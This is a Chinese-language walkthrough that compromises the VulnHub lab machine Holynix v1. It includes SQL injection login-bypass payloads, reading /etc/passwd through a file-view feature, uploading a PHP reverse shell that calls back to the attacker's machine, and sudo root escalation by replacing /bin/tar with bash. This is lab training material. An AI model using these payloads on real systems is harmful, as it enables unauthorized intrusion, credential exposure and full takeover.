一、靶机下载地址
https://www.vulnhub.com/entry/holynix-v1,20/
二、信息收集
1、将靶机的MAC地址改为00:0C:29:BC:05:DE然后重启靶机
2、主机发现,确认靶机的IP地址
#使用命令
nmap 192.168.145.0/24
2、端口扫描
#使用命令
nmap 192.168.145.163 -p- -O
3、目录扫描
#使用命令
dirsearch -u "http://192.168.145.163"
4、指纹识别
#使用命令
whatweb http://192.168.145.163
三、获取shell权限
1.访问靶机ip,点击login发现登录框
2.在登录框的账号和密码处输入a',并点击提交,发现mysql的报错语句
3.点击Submit之后直接报错了,而且暴露了sl查询语句,可以看到这个sal查询语句对usemame字段的单引号进行了转义 ()而password部分没有。因此我们只要username随便输,password用万能密码即可登录
账号处随便输
密码处输入:' or 1=1 #
4.将过测试发现Upload模块可以上传文件
5.随便上传一个文件后,提示对于用户alamo来说,家目录上传是不被允许的,表明得需要寻找其他用户
6.在Security处发现了查看文件的功能
7.尝试修改查看的文件,将文件修改为/etc/passwd文件,然后点击查看文件按钮,发现文件读取成功
8.可以根据/etc/passwd这个文件看看有啥其他有bash的账户,可以发现有个用户叫etenenbaum,那么我们尝试SQL注入用这个用户登录
9.前面登录框处对usename中的单引号做了过滤,我们尝试在password中构造闭合,试图使得usemame='etenenbaum,那么我们只要密码中填写' or username='etenenbaum'#信息即可构造闭合并成功登录
10.在etenenbaum用户中尝试上传文件发现文件上传成功
11.etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。
#使用命令
locate php-reverse
#复制文件
cp /usr/share/laudanum/php/php-reverse-shell.php
#编辑文件
vim php-reverse-shell.php
12.编辑这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为1234
13.用tar czf打包文件,再进行上传
#使用命令
tar czf shell.tar.gz php-reverse-shell.php
14.上传时记得勾选
15.监听1234端口
16.上传后访问http://192.168.145.163/~etenenbaum/页面,发现了上传的文件
17.访问上传的文件,成功获取到shell
四、SUDO提权
1、输入sudo -l
命令,查看允许用户使用的命令
# 使用命令
# sudo -l
2、切换到/tmp目录下,将/bin/bash文件复制到/tmp目录下
# 使用命令
# cd /tmp
# cp /bin/bash .
3、更改文件/tmp/bash的所有权,将所有者改为root
# 使用命令
# sudo chown root:root/tmp/bash
4、将现有的/bin/tar文件备份到bin/tar.bak中
# 使用命令
# sudo mv /bin/tar /bin/tar.bak
5、将/tmp/bash文件移动到/bin/tar
# 使用命令
# sudo mv /tmp/bash /bin/tar
6、执行/bin/tar命令,成功提权
# 使用命令
# sudo /bin/tar